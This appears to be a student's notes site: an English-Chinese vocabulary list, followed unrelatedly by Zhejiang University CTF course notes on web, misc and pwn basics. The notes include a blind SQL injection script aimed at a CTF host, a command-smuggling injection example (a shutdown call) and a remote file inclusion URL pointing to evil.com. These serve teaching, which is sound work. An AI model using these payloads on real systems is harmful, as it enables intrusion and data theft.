She managed to acquire a rare painting.
她设法获得了一幅稀有的画作。
He acquired new skills during the training.
他在培训期间学到了新技能。
The term 'acquire' can also refer to gaining possession or control of something.
'acquire'这个词也可以指获得某物的所有权或控制权。
require 需要, 要求 inquire 询问, 调查
ascertain
- v.
- 确定, 查明
- 弄清, 弄明白
Eg
The detective tried to ascertain the facts of the case.
侦探试图查明案件的事实。
She quickly ascertained that the information was incorrect.
她很快弄清楚了信息是错误的。
The term 'ascertain' can also refer to finding out something with certainty through examination or investigation.
'ascertain'这个词也可以指通过检查或调查确定某事。
patriotic
- adj.
- 爱国的, 有爱国心的
Eg
The citizens displayed a patriotic spirit during the national holiday.
在国庆期间,市民们表现出了爱国精神。
He felt a patriotic duty to serve his country.
他感到有一种爱国的责任去为国家服务。
The term 'patriotic' can also refer to showing love and devotion to one's country.
'patriotic'这个词也可以指表现出对国家的热爱和忠诚。
entrepreneurship
- n.
- 创业, 企业家精神
- 创业活动, 创业能力
Eg
Entrepreneurship requires creativity and risk-taking.
创业需要创造力和冒险精神。
She studied entrepreneurship to start her own business.
她学习创业以开办自己的企业。
The term 'entrepreneurship' can also refer to the process of designing, launching, and running a new business.
'entrepreneurship'这个词也可以指设计、启动和经营新业务的过程。
boost
- v.
- 提高, 增强, 促进
- 推动, 推进
Eg
The new marketing strategy helped to boost sales.
新的营销策略有助于提高销售额。
Regular exercise can boost your energy levels.
定期锻炼可以提高你的能量水平。
The term 'boost' can also refer to increasing or improving something, especially in terms of performance or effectiveness.
'boost'这个词也可以指增加或改善某物,特别是在性能或效果方面。
boast 夸耀, 自夸, 自夸的
compile
- v.
- 编译, 汇编
- 收集, 汇集
Eg
The programmer needed to compile the code before running it.
程序员需要在运行代码之前编译它。
She compiled a list of her favorite books.
她汇集了一份她最喜欢的书籍清单。
The term 'compile' can also refer to the process of converting source code into executable code.
'compile'这个词也可以指将源代码转换为可执行代码的过程。
compilation 汇编, 编纂, 汇编物
compiler 编译器, 汇编者
bribe
-
n.
- 贿赂, 行贿物
- 诱惑物
-
v.
- 贿赂, 行贿
- 收买
Eg
The official was accused of accepting a bribe.
这名官员被指控接受贿赂。
They tried to bribe the guard to let them in.
他们试图贿赂警卫让他们进去。
The term 'bribe' can also refer to offering something valuable to influence someone's actions.
'bribe'这个词也可以指提供有价值的东西以影响某人的行为。
bribery 贿赂行为, 行贿
coordinate
-
n.
- 坐标
- 协调, 配合
-
v.
- 协调, 调整
- 使...协调一致
Eg
The coordinates of the location were marked on the map.
该位置的坐标标在地图上。
The team worked together to coordinate the event.
团队合作协调了这次活动。
The term 'coordinate' can also refer to organizing different elements to work together effectively.
'coordinate'这个词也可以指组织不同的元素以有效地协同工作。
coordination 协调, 调整, 协同
coordinator 协调者, 统筹者
condemn
- v.
- 谴责, 指责
- 判刑, 宣判
- 使陷入困境
Eg
The government condemned the attack on the embassy.
政府谴责了对大使馆的袭击。
He was condemned to life imprisonment.
他被判处终身监禁。
The building was condemned as unsafe.
这座建筑被判定为不安全。
The term 'condemn' can also refer to expressing strong disapproval or sentencing someone to a particular punishment.
'condemn'这个词也可以指表示强烈不满或判处某人特定的惩罚。
condemnation 谴责, 指责, 定罪
condemnable 应受谴责的, 应受处罚的
PART 3¶
consult
- v.
- 咨询, 请教
- 商量, 商议
- 查阅, 参考
Eg
She decided to consult a lawyer about the legal issues.
她决定就法律问题咨询律师。
The manager consulted with the team before making a decision.
经理在做决定前与团队商量。
He consulted the manual to find the correct procedure.
他查阅了手册以找到正确的程序。
The term 'consult' can also refer to seeking information or advice from someone or something.
'consult'这个词也可以指向某人或某物寻求信息或建议。
consultation 咨询, 商议, 会诊
consultant 顾问, 咨询师
consultative 咨询的, 顾问的
insult 侮辱, 辱骂
confer
- v.
- 授予, 赋予
- 协商, 商议
Eg
The university conferred an honorary degree on the distinguished professor.
大学授予这位杰出的教授荣誉学位。
The committee members conferred to discuss the new policy.
委员会成员们商议新政策。
The term 'confer' can also refer to granting or bestowing something, such as a title or degree, or to discussing something with others to reach a decision.
'confer'这个词也可以指授予某物,如头衔或学位,或与他人讨论以达成决定。
conference 会议, 讨论会
conferral 授予, 赋予
conferment 授予, 赋予
refer 提及, 参考
defer 推迟, 延期
fertile 肥沃的, 肥沃的, 肥沃的
confine
- v.
- 限制, 局限
- 监禁, 禁闭
Eg
The prisoners were confined to their cells.
囚犯们被限制在他们的牢房里。
The term 'confine' can also refer to restricting someone or something within certain limits or boundaries.
'confine'这个词也可以指在某些限制或边界内限制某人或某物。
confinement 监禁, 禁闭, 限制
confined 受限的, 狭窄的
define 定义, 解释
definite 明确的, 确定的
refine 精炼, 提纯
infinite 无限的, 无穷的
conserve
- v.
- 保存, 保护
- 节约, 节省
Eg
We need to conserve our natural resources for future generations.
我们需要为子孙后代保护我们的自然资源。
The term 'conserve' can also refer to using something carefully to prevent waste.
'conserve'这个词也可以指小心使用某物以防止浪费。
conservation 保存, 保护, 节约
conservative 保守的, 守旧的
preserve 保存, 保护
reserve 保留, 预订
observe 观察, 遵守
console
- n.
- 控制台, 操作台
- 控制面板, 仪表板
Eg
The programmer used the console to debug the application.
程序员使用控制台调试应用程序。
The term 'console' can also refer to a panel or unit accommodating a set of controls for electronic or mechanical equipment.
'console'这个词也可以指容纳电子或机械设备控制装置的面板或单元。
consolation 安慰, 慰藉
consolidate 巩固, 合并
consult 咨询, 请教
consume 消耗, 消费
convey
- v.
- 传达, 表达
- 运输, 传送
Eg
The teacher used pictures to convey the concept to the students.
老师用图片向学生传达了这个概念。
The term 'convey' can also refer to transporting or carrying something from one place to another.
'convey'这个词也可以指将某物从一个地方运输或传送到另一个地方。
conveyance 运输, 传送, 表达
conveyor 传送带, 运输机
conveyer 传送者, 传播者
enlightened
- adj.
- 开明的, 有见识的
- 受启发的, 启蒙的
Eg
The leader was known for his enlightened views on social issues.
这位领导因其在社会问题上的开明观点而闻名。
The term 'enlightened' can also refer to someone who has been given greater knowledge and understanding about a subject or situation.
'enlightened'这个词也可以指在某个主题或情况下获得更多知识和理解的人。
enlighten 启发, 启蒙
enlightenment 启蒙, 启发
dictate
- v.
- 口述, 听写
- 命令, 指示
- 支配, 决定
Eg
She dictated the letter to her assistant.
她向助理口述了这封信。
The manager dictated the terms of the agreement.
经理规定了协议的条款。
The term 'dictate' can also refer to determining or influencing something.
'dictate'这个词也可以指决定或影响某事。
dictation 听写, 口述
dictator 独裁者, 专制者
dictatorial 独裁的, 专制的
estimate
-
n.
- 估计, 估算
- 评估, 评价
- 报价, 预算
-
v.
- 估计, 估算
- 评估, 评价
Eg
The engineer provided an estimate for the cost of the project.
工程师提供了项目成本的估算。
It is difficult to estimate the exact number of people affected.
很难准确估计受影响的人数。
The term 'estimate' can also refer to forming an approximate judgment or opinion regarding the value, amount, size, or weight of something.
'estimate'这个词也可以指对某物的价值、数量、大小或重量形成大致的判断或意见。
estimation 估计, 评价
estimated 估计的, 预计的
🛡️ 安全与竞赛
CTF 竞赛
浙江大学AAA短学期课程¶
约 320 个字 117 行代码 2 张图片 预计阅读时间 3 分钟
7-2 lec1¶
授课:常瑞,王鹤翔(TonyCrane)
courese website¶
课程介绍¶
第一节课例行介绍课程内容,老师以及TA,CTF介绍:
-
web
-
misc
-
crypto
-
pwn
-
reverse
-
著名CTF比赛介绍
Note
- 基础模块 lab0+5个实验 55%
- 考勤 %5
- 五个专题 每次作业 20% ,自选2个或以上
如何学习CTF¶
lab0¶
lab0 作为课程第一个作业,需要全部做完
Note
由于lab0报告中我已经写过一遍解释,不想再照搬上来力,所以只写个大概
Web¶
Token¶
背景:点击一个按钮1337次会得到Flag,但是鼠标靠近就会使得按钮消失,F12查看源代码也被禁止。
-
view-source:

-
curl命令
需要以同一个用户来执行1337次点击
Hint
布尔盲注¶
只有两种输入被允许,空格也不允许,1和2,但是会进行布尔运算,可以利用括号代替空格
Hint
import requests
import string
flag=''
url='http://040601e5-a92b-4bc9-8831-f9863d3d8381.node5.buuoj.cn:81/'
ascii_list=string.printable
done=0
index=0
while done != 1:
for i in ascii_list:
input='if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)'.format(index,ord(i))
post_in={"id":input}
res=requests.post(url=url,data=post_in)
if 'glzjin' in res.text:
flag+=i
print(flag)
index+=1
if i=='}':
done=1
break
Pwn¶
寻找可能发生的内存泄漏
Hint
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
struct hbpkt
{
uint32_t size;
uint32_t timestamp;
uint32_t index;
uint32_t cred;
char data[];
};
struct hbpkt *get_heart_beat()
{
uint8_t buffer[0x1000] = {0};
fread(buffer, sizeof(struct hbpkt), 1, stdin);
struct hbpkt *tmp = (struct hbpkt *)buffer;
if (tmp->size > 0x1000)
return NULL;
if(tmp->size > sizeof(struct hbpkt))fread(tmp->data, tmp->size - sizeof(struct hbpkt), 1, stdin);
else {
printf("Invalid size\n");
return NULL;
}//增加判断,防止 size 小于等于 sizeof(struct hbpkt) 时无符号数溢出
uint32_t real_size = sizeof(struct hbpkt) + strlen(tmp->data);
struct hbpkt *res = malloc(real_size);
if (!res)
return NULL;
memcpy(res, buffer, real_size);
res->index += 1;
res->size = real_size;//更新size,防止溢出
return res;
}
int reply_heart_beat(struct hbpkt *pkt)
{
int err=0;
int written;
if (pkt->size)
{
written = fwrite(pkt, 1, pkt->size, stdout);
fflush(stdout);
}
if (written == 0 || written != pkt->size)
{
err = 1;
}
return err;
}
int main()
{
int err;
while (true)
{
struct hbpkt *p = get_heart_beat();
if (!p)
continue;
err = reply_heart_beat(p);
if (err)
{
free(p);
continue;
}
free(p);//释放内存
}
}
Reverse¶
反汇编IDA工具的使用
Misc¶
Cyperchef,神奇妙妙小工具¶
LSB隐写¶
Crypto¶
古典密码-跳舞的小人¶
RSA解密-模逆元求解¶
Web
约 3168 个字 387 行代码 4 张图片 预计阅读时间 16 分钟
7-3 lec2-Web¶
授课:叶耀阳
前置¶
下载 - PHPstudy - Node.js
Web 应用架构:客户端+服务端¶
桌面应用和Web应用在架构上有显著的区别。桌面应用通常是在本地运行的独立程序,而Web应用则需要依赖客户端和服务端的协作。
- 客户端:你的浏览器
- 可视化:图形、图片、布局…… HTML + CSS
- 人机交互逻辑:按钮点击,登录,发送请求……JS
- 缓存、Cookie
- 安全:不能将私密的、不该获取的信息传出去(比如 Cookie),不能为所欲为(比如注销其他网站的账号)
- 服务端:某台或很多台服务器
- 认证与鉴权:如何证明你是你
- Authentication(认证)
- Authorization(鉴权)
- 处理请求:用户需要做什么?将结果返回客户端
- 服务器也可以有不同分工:前端后端、数据库……
- 安全:用户不能获得不该获取的信息(比如 flag),不能为所欲为(比如任意代码执行)
- 认证与鉴权:如何证明你是你
网络:数据交换¶
- 数据包的传输与路由 想象一下,数据包就像是一封封信件,而网络则是遍布全球的邮政系统。当我们在电脑上点击发送邮件时,数据被切割成一个个小包裹,即数据包。这些数据包随后被送往最近的邮局,也就是路由器。路由器就像邮局的分拣员,根据包裹上的地址(即IP地址),决定将它们送往下一个邮局,直至最终到达目的地。这个过程中,每个路由器都会查看数据包的目的地,并选择最佳路径,确保数据包能够快速、准确地到达。
- 域名与DNS系统
在网络的世界里,IP地址就像是门牌号码,虽然精确,但记忆起来却颇为困难。这时,域名系统(DNS)就如同一个智能的电话簿,将复杂的IP地址转化为易于记忆的域名,比如
www.example.com。当你在浏览器中输入一个域名时,DNS服务器会像查电话簿一样,找到对应的IP地址,并指引你的请求到达正确的服务器。 -
OSI模型和TCP/IP模型 正如我们写代码层层封装,计算机网络的总体架构也是分层的。这样每个层各司其职,下层上上层的基础设施,逐渐构建复杂的功能。
-
OSI 七层模型

-
TCP/IP 四层模型:广泛使用

-
TCP/IP 协议详解
- IP: 网络层=主机到主机,数据包寻址(快递公司)
- TCP: 传输层=应用到应用,或者说端到端(菜鸟驿站) 无边界的字节流,类比电报报文,电报的格式是应用层协议该做的,电报本身只发字母数字
-
HTTP 协议详解
- Hyper Text Transfer Protocol
- 超文本传输协议
- 应用层
- 特点:无状态,纯文本
- 需要维持状态(比如:用户已登录)怎么办?Cookie
- 格式
-
DNS记录:
- A记录:指向IPV4地址
- AAAA记录:指向IPV6地址
- CNAME: 别名,指向另外一个域名
- TXT纯文本
- NS(Name server)
非权威,可能会缓存,不一定实时更新 - MX SOA
- 命令
tracert可以查看网站如何跳转 -
TTL time to live 防止它一直在跳,TTL用完了就死了
-
代理PROXY
- 正向代理:VPN:Virtual Private Network,看起来像在内网
- 反向代理:隐藏真实IP,部署CDN,部署防火墙,内网穿透 内网穿到外面来
后端:业务逻辑¶
后端是Web应用的核心,它负责处理业务逻辑、数据存储和安全。在这一部分,我们会介绍常见的后端技术栈,并重点讨论后端安全,尤其是如何防范和应对CTF(Capture the Flag)中常见的逻辑漏洞攻击。
- 常见后端技术栈(如Node.js、PHP、Python、Ruby、Go、Rust 等)
- 后端安全:永远不要相信用户的数据,一切前端的过滤都等于没有过滤!
-
CTF: 通过逻辑漏洞等欺骗后端 逻辑漏洞:
if money!=0 then money-=price.What ifmoney=-1?没接触安全领域前关于安全的错觉:
- 这么蠢的洞也有人写?
- 这么写怎么可能有洞?
- 这么多人用怎么可能有洞?
事实:连SSH今年都还能有高危漏洞 CVE-2024-6387
真实例子(出自隔壁EE学院同学的手笔,科班-半路出家=安全+质量):
注入:混淆了数据和代码。
例如
printf("%d", _____)正常输入:
123恶意输入:
1); system("shutdown -s -t 0"); //就变成了
printf("%d", 1); system("shutdown -s -t 0"); //)爆了
PHP 简单入门¶
PHP是最早的Web开发语言之一,它在Web开发历史上占有重要地位。
但它快死了。
早年只有静态网页,而后来有了jsp和php
- 环境配置:PHP Study
-
变量定义
-
短标签
<?=$a?> - 例子:
Note
<!DOCTYPE html>
<html>
<head>
<title>PHP 示例</title>
</head>
<body>
<h1>欢迎使用 PHP</h1>
<?php
// 定义变量
$name = "John";
$age = 25;
// 输出变量
echo "<p>你好,我的名字是 $name,我今年 $age 岁。</p>";
// 条件语句
if ($age >= 18) {
echo "<p>我已成年。</p>";
} else {
echo "<p>我未成年。</p>";
}
// 数组
$fruits = array("apple", "banana", "cherry");
echo "<p>我喜欢的水果有:</p>";
echo "<ul>";
foreach ($fruits as $fruit) {
echo "<li>$fruit</li>";
}
echo "</ul>";
// HTML 短标签
?>
<p>这是使用 HTML 短标签的示例:</p>
<?= "当前时间是:" . date("Y-m-d H:i:s") ?>
<?php
$fr = "pear";
$pear = 114;
$lingo = 514;
echo $$fr;
?>
</body>
</html>
获取 GET 参数与 Cookie 并查询数据库对应的用户:
Note
<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "test_db";
// 创建数据库连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检查连接是否成功
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 获取GET参数
$userId = isset($_GET['user_id']) ? intval($_GET['user_id']) : 0;
// 获取Cookie
$sessionId = isset($_COOKIE['session_id']) ? $_COOKIE['session_id'] : '';
// 查询数据库
if ($userId > 0) {
$sql = "SELECT * FROM users WHERE id = $userId";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$user = $result->fetch_assoc();
echo "<p>用户信息: </p>";
echo "<p>ID: " . $user['id'] . "</p>";
echo "<p>姓名: " . $user['name'] . "</p>";
echo "<p>邮箱: " . $user['email'] . "</p>";
} else {
echo "<p>没有找到对应的用户。</p>";
}
} else {
echo "<p>无效的用户ID。</p>";
}
// 关闭数据库连接
$conn->close();
?>
SQL 简单入门¶
入门可以从 MySQL 开始。
相关安全话题¶
- Cookie 与 Session
- Cookie:存储在客户端的小型文本文件,通常用于存储用户的偏好设置、身份验证信息等。
- 示例:用户登录后,服务器发送一个包含用户ID的Cookie到客户端,客户端在后续请求中自动包含该Cookie,以便服务器识别用户。
- Cookie劫持:攻击者通过XSS攻击或其他手段获取用户的Cookie,从而冒充用户身份。
- Session:存储在服务器端的临时数据存储区域,通常用于存储用户的会话状态信息。
- 示例:用户登录后,服务器创建一个Session,并将Session ID通过Cookie发送给客户端。客户端在后续请求中包含该Session ID,服务器根据Session ID查找对应的Session数据。
- 如果服务器被攻破,Session中就可能有一些敏感信息。
- Cookie:存储在客户端的小型文本文件,通常用于存储用户的偏好设置、身份验证信息等。
- 逻辑漏洞:验证不充分、想当然的写法、条件竞争、未发现的旁门左道……
- 程序员的傲慢可能会让他认为
a==1&&a==2一定是 false 但……
- 程序员的傲慢可能会让他认为

- 任意文件读与任意代码执行
- 例如一个Web应用允许用户上传头像,但未对上传的文件进行严格的类型和内容检查。攻击者上传一个包含恶意代码的文件,并通过文件包含漏洞执行该代码,从而控制服务器。
- CTF竞赛中,能读服务器上
/flag则读,否则就暗示我们需要 RCE (不然连 flag 在哪个文件都不知道).
- 文件包含:例如一个Web应用允许用户通过URL参数指定要包含的文件,如
index.php?page=about。攻击者可以通过构造恶意URL,如index.php?page=http://evil.com/malicious.php,包含远程恶意文件,从而执行恶意代码。 - 越权:例如一个Web应用允许用户查看自己的订单信息,但未正确验证用户的身份。攻击者可以通过篡改URL参数,如
order.php?id=123,查看其他用户的订单信息。- 永远不要相信用户的数据!前端代码也许永远不会访问其他用户的数据,但这不代表恶意攻击者就不会
前端:可视化与操作逻辑¶
前端开发主要关注用户界面的设计和用户交互。在这一部分,我们将学习HTML、CSS和JavaScript的基础知识,以及前端安全的重要性和常见的防护措施。同时,我们会通过经典案例分析前端漏洞的利用方法和防护策略。
- HTML / CSS / JS基础
- HTML 简单介绍
- 格式:各个标签嵌套的层级结构,每个标签基本上就对应页面上的一个元素
- HTML 简单介绍
Note
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>HTML 和 CSS 示例</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<header>
<h1>欢迎来到我的网站</h1>
<nav>
<ul>
<li><a href="#home">首页</a></li>
<li><a href="#about">关于我们</a></li>
<li><a href="#contact">联系我们</a></li>
</ul>
</nav>
</header>
<main>
<section id="home">
<h2>首页</h2>
<p class="intro">这是我们的首页,欢迎您的到来!</p>
</section>
<section id="about">
<h2>关于我们</h2>
<p class="intro">我们是一家专业的Web开发公司。</p>
</section>
<section id="contact">
<h2>联系我们</h2>
<p class="intro">如果您有任何问题,请随时联系我们。</p>
<form>
<label for="name">姓名:</label>
<input type="text" id="name" name="name"><br>
<label for="email">邮箱:</label>
<input type="email" id="email" name="email"><br>
<input type="submit" value="提交">
</form>
</section>
</main>
<footer>
<p>© 2023 我的网站</p>
</footer>
</body>
</html>
- CSS 简单介绍
- 用途:元素宽度、外部间隔、内部边距、字体颜色……
- 选择器语法:选择你要把这些属性应用给哪些元素
- 元素选择器
body - 类选择器
.my-class - ID选择器
#myid
- 元素选择器
Note
/* 基本样式 */
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
header {
background-color: #333;
color: #fff;
padding: 10px 0;
text-align: center;
}
nav ul {
list-style: none;
padding: 0;
}
nav ul li {
display: inline;
margin: 0 10px;
}
nav ul li a {
color: #fff;
text-decoration: none;
}
main {
padding: 20px;
}
section {
margin-bottom: 20px;
}
.intro {
font-style: italic;
color: #555;
}
footer {
background-color: #333;
color: #fff;
text-align: center;
padding: 10px 0;
position: fixed;
width: 100%;
bottom: 0;
}
/* 表单样式 */
form {
margin-top: 20px;
}
form label {
display: block;
margin-bottom: 5px;
}
form input[type="text"],
form input[type="email"] {
width: 100%;
padding: 8px;
margin-bottom: 10px;
border: 1px solid #ccc;
border-radius: 4px;
}
form input[type="submit"] {
background-color: #333;
color: #fff;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
}
form input[type="submit"]:hover {
background-color: #555;
}
- JS
- 包裹在
<script>中 - 可以做什么:嵌入网页中,让网页具备高级的交互逻辑
- 包裹在
Note
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>现代Web开发示例</title>
<style>
/* CSS 样式 */
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
header {
background-color: #333;
color: #fff;
padding: 10px 0;
text-align: center;
}
nav ul {
list-style: none;
padding: 0;
}
nav ul li {
display: inline;
margin: 0 10px;
}
nav ul li a {
color: #fff;
text-decoration: none;
}
main {
padding: 20px;
}
section {
margin-bottom: 20px;
}
.intro {
font-style: italic;
color: #555;
}
footer {
background-color: #333;
color: #fff;
text-align: center;
padding: 10px 0;
position: fixed;
width: 100%;
bottom: 0;
}
form {
margin-top: 20px;
}
form label {
display: block;
margin-bottom: 5px;
}
form input[type="text"],
form input[type="email"] {
width: 100%;
padding: 8px;
margin-bottom: 10px;
border: 1px solid #ccc;
border-radius: 4px;
}
form input[type="submit"] {
background-color: #333;
color: #fff;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
}
form input[type="submit"]:hover {
background-color: #555;
}
</style>
<script>
// JavaScript 代码
function greetUser() {
var name = prompt("请输入您的名字:");
if (name) {
alert("你好, " + name + "!");
} else {
alert("你好, 访客!");
}
}
function validateForm() {
var name = document.getElementById("name").value;
var email = document.getElementById("email").value;
if (name === "" || email === "") {
alert("请填写所有字段!");
return false;
}
return true;
}
</script>
</head>
<body>
<header>
<h1>欢迎来到我的网站</h1>
<nav>
<ul>
<li><a href="#home">首页</a></li>
<li><a href="#about">关于我们</a></li>
<li><a href="#contact">联系我们</a></li>
</ul>
</nav>
</header>
<main>
<section id="home">
<h2>首页</h2>
<p class="intro">这是我们的首页,欢迎您的到来!</p>
<button onclick="greetUser()">打招呼</button>
</section>
<section id="about">
<h2>关于我们</h2>
<p class="intro">我们是一家专业的Web开发公司。</p>
</section>
<section id="contact">
<h2>联系我们</h2>
<p class="intro">如果您有任何问题,请随时联系我们。</p>
<form onsubmit="return validateForm()">
<label for="name">姓名:</label>
<input type="text" id="name" name="name"><br>
<label for="email">邮箱:</label>
<input type="email" id="email" name="email"><br>
<input type="submit" value="提交">
</form>
</section>
</main>
<footer>
<p>© 2023 我的网站</p>
</footer>
</body>
</html>
- 现代的解决方式:使用前端框架
- React.js Vue.js … 但本质上还是原生js
编码基础:JavaScript 与 TypeScript¶
JavaScript¶
JavaScript 简介与历史
JavaScript(简称JS)是由Netscape公司的Brendan Eich在1995年十天内开发出来的一种脚本语言。最初设计用于浏览器端的动态网页内容生成,JavaScript迅速成为Web开发的核心技术之一,与HTML和CSS并列为前端开发的三大支柱。
- 诞生背景:JavaScript诞生于Web 1.0时代,最初被称为Mocha,后改名为LiveScript,最后才成为JavaScript。
- 发展历程:从最初的客户端脚本语言,JavaScript逐步演变成一门强大的编程语言,现今不仅用于浏览器端,还在服务器端广泛应用。
JavaScript的基本语法和特点
JavaScript语法灵活,具有动态类型、函数式编程和原型继承等特点。
-
变量声明:使用
var、let和const声明变量。 -
函数定义:
-
条件判断:
- 循环:
- 事件处理:
document.getElementById("myButton").addEventListener("click", function() {
alert("Button clicked!");
});
TypeScript¶
TypeScript的特点和优点
TypeScript(简称TS)是由微软开发的一种开源编程语言,是JavaScript的超集,增加了静态类型和类等特性。
- 静态类型:通过类型检查减少运行时错误,提高代码的可维护性。
- 类和接口:支持面向对象编程,增强代码结构性
- 模块化:支持模块化编程,提高代码复用性和组织性
Node.js简介¶
Node.js的起源和发展
Node.js是由Ryan Dahl在2009年开发的一个开源、跨平台的JavaScript运行时环境,基于Chrome的V8引擎构建。Node.js的出现使得JavaScript可以用于服务器端开发。
- 起源:Node.js诞生于对高性能、非阻塞I/O模型的需求。
- 发展:Node.js迅速发展,成为构建高性能、可扩展网络应用的首选平台。
Node.js的基本使用方法与应用场景
Node.js通过事件驱动、非阻塞I/O模型,使其在处理大量并发请求时具有显著优势。
前端相关安全领域¶
- XSS(跨站脚本攻击)
- CSRF(跨站请求伪造)与 SSRF(服务器端请求伪造)
- 跨域
尾声¶
经典老番:地址栏输入网址并访问后发生了什么
- DNS解析(域名解析):
- 浏览器会首先检查本地缓存中是否有该网址对应的IP地址。
- 如果没有,它会向DNS服务器发送请求,查询该网址的IP地址。
- DNS服务器返回该网址对应的IP地址给浏览器。
- 建立TCP连接:
- 浏览器使用前面得到的IP地址,通过TCP/IP协议与目标服务器建立连接。
- 这包括三次握手过程:客户端发送SYN包,服务器返回SYN-ACK包,客户端再发送ACK包确认连接。
- 发送HTTP请求:
- 建立连接后,浏览器会发送一个HTTP请求到服务器。这个请求包含了请求方法(如GET或POST)、请求的资源路径以及一些头信息(如浏览器类型、可接受的文件类型等)。
- 服务器处理请求并返回响应:
- 服务器接收到请求后,会处理该请求,查找请求的资源(如HTML文件、图片、视频等)。
- 服务器会将找到的资源以及一些头信息(如内容类型、内容长度等)打包成HTTP响应,返回给浏览器。
- 浏览器接收响应并渲染页面:
- 浏览器接收到服务器返回的HTTP响应后,会解析响应的头信息和内容。
- 如果内容是HTML文件,浏览器会解析HTML并根据其中的指令(如加载CSS文件、执行JavaScript脚本等)进行渲染。
- 浏览器会逐步构建DOM树和CSSOM树,并根据它们生成渲染树,最后将内容绘制到屏幕上。
- 加载资源:
- 如果HTML文件中包含了其他资源(如图片、CSS、JavaScript等),浏览器会根据需要发送额外的HTTP请求来加载这些资源。
- 这些资源加载完成后,浏览器会继续渲染页面,更新显示内容。 整个过程通常在短时间内完成,以确保用户能够快速看到网页内容。
Misc
约 6316 个字 9 行代码 11 张图片 预计阅读时间 22 分钟
7-4 lec3-Misc¶
授课:goduck
什么是Misc¶
- 杂项 ALL-PWN-WEB-CRYPTO - REVERSE
- 隐写、取证、OSINT(信息搜集)、PPC(编程类) ——传统 misc 题
- 游戏类题目(大概也算 PPC)、工具运用类题目
- 编解码、古典密码 ——不那么 crypto 的 crypto
- 网络解谜、网站代码审计 ——不那么 web 的 web
- 代码审计、沙箱逃逸 ——不那么 binary 的 binary
- Blockchain、IoT、AI ——新兴类别题目
编码基础¶
- 一切信息在计算机看来都是 0 和 1
- 编解码 / 加解密 / 哈希都是在 01 串之间进行的变换
- 为什么你看见的输入输出是字符?
- 计算机通过字符编码规则将 01 串转换为了可见字符
- 三种常见的01串转换方式
- 常用的解码工具 CyperChef
为什么会乱码¶
-
字符编码:人类理解的字符 > 计算机理解的 01 串 之间的映射
-
为什么会出现乱码:用一种字符编码规则解读另一种字符编码的 01 串 ;A0-FF:可见字符
- 特点:任何字节流都可以用其解码
- 利用 Unicode 字符集的
- 常见的字符编码:
- ASCII:一共 128 个项,即每个字符可以用一个 7 位的 01 串表示(或一字节)
- 00-1F:控制字符;20-7E:可见字符;7F:控制字符(DEL)
- Latin-1(ISO-8859-1):扩展了 ASCII,一共 256 个项
- 80-9F:控制字符一系列编码
- UTF-8 / UTF-16 / UTF-32 / UCS
- 中国国标字符集系列编码
- GB 2312 / GBK / GB 18030-2022
怎么就乱码了¶
几个字符集不兼容的部分互相编解码,常见的:
- 用 GBK 解码 UTF-8 编码的文本
- 用 UTF-8 解码 GBK 编码的文本
- 用 latin-1 解码 UTF-8 编码的文本
- 用 latin-1 解码 GBK 编码的文本
- 先用 GBK 解码 UTF-8 编码的文本,再用 UTF-8 解码前面的结果
- 先用 UTF-8 解码 GBK 编码的文本,再用 GBK 解码前面的结果
- 这里我们请同学们自行研究,lab 中会用到(后续详细发布),几种推荐的方式:
- CyberChef,通过 Input 和 Output 窗口的字符集设置
- 需要注意,CyberChef 的 UTF-8 不会将错误解码替换为 �(非预期)
- vscode 右下角的编码方案(重新打开 / 用编码保存)
- 必要的时候可以使用 python 来进行编解码 / 进制转换等
摩斯电码¶
前面说到的字符编码:01 串 > 字符;接下来看另一种:字符 > 字符
- 摩尔斯电码(Morse Code):利用点划(“滴”的时间长短)来表示字符
- 点 ·:1 单位;划 -:3 单位
- 点划之间间隔:1 单位;字符之间间隔:3 单位;单词之间间隔:7 单位
- 字符集:A-Z、0-9、标点符号(.:,; ='/!-_"()$&@+)、一些电码专用表示
- 表示中文:电码表(一个汉字对应四个数字),数字使用短码发送

BASE编码¶
- Base16:即 16 进制表示字节流,长度翻倍
- Base32:按照 5 bit 一组(每个 0-31),按照字符表(A-Z2-7)映射
- 结果长度必须是 5 的倍数,不足的用 = 不齐(明显特征)
- Base64:按照 6 bit 一组,按照字符表映射(最常用)
- 标准字符表:A-Za-z0-9+/
- 另有多种常用字符表,如 URL 安全字符表:A-Za-z0-9-_
- 结果长度必须是 4 的倍数,不足的用 = 不齐(1~2 个,明显特征)
Base-n 系列的本质:¶
- 字节流 > 整数 > n 进制 > 系数查表 所以除去前面规则的 16/32/64 进制,还有一些其他的 Base 编码:
- 分组:
- Base85:4 字节整数 > 85 进制 > 5 个系数
- 常用字符表:0-9A-Za-z!#$%&()*+-; >?@^_`{ }~
- 标准字符表:!-u(ASCII 编码中 0x21-0x75)
- 作为大整数转换进制:
- Base62:0-9A-Za-z(比 Base64 少了 +/)
- Base58:0-9A-Za-z 去除 0OIl
- Base56:比 Base58 少了 1 和 o
- Base36:0-9A-Z(比 Base62 少了 a-z)
OSINT 基础¶
我要成为开盒糕手!
- Open Source INTelligence:开源网络情报
通过完全公开的信息进行合理的推理,获取情报 一般在 misc 题目中出现即泛指信息搜集,有几种情况: - 构造了一个全新的虚拟身份,搜集得到出题人准备好的信息 - 根据图片、文档等附件泄漏的信息进行推理(主要) - 包括根据图片内容推理找到拍摄位置、当时环境等信息
信息搜集¶
文件信息泄露¶
- 各种文档的元信息(metadata)可能包括作者、修改时间等信息
- 图片的 EXIF 信息,可通过 exiftool 查看一般以 xml 形式存储,可以直接通过二进制抹除,或者通过操作系统
- 工程文件夹泄漏信息
- Visual Studio 的各种配置文件,.vs 文件夹中信息
- .vscode 文件夹中的配置文件
- .git 文件夹,泄漏全部修改历史、提交信息、提交者等 文件夹路径信息泄漏
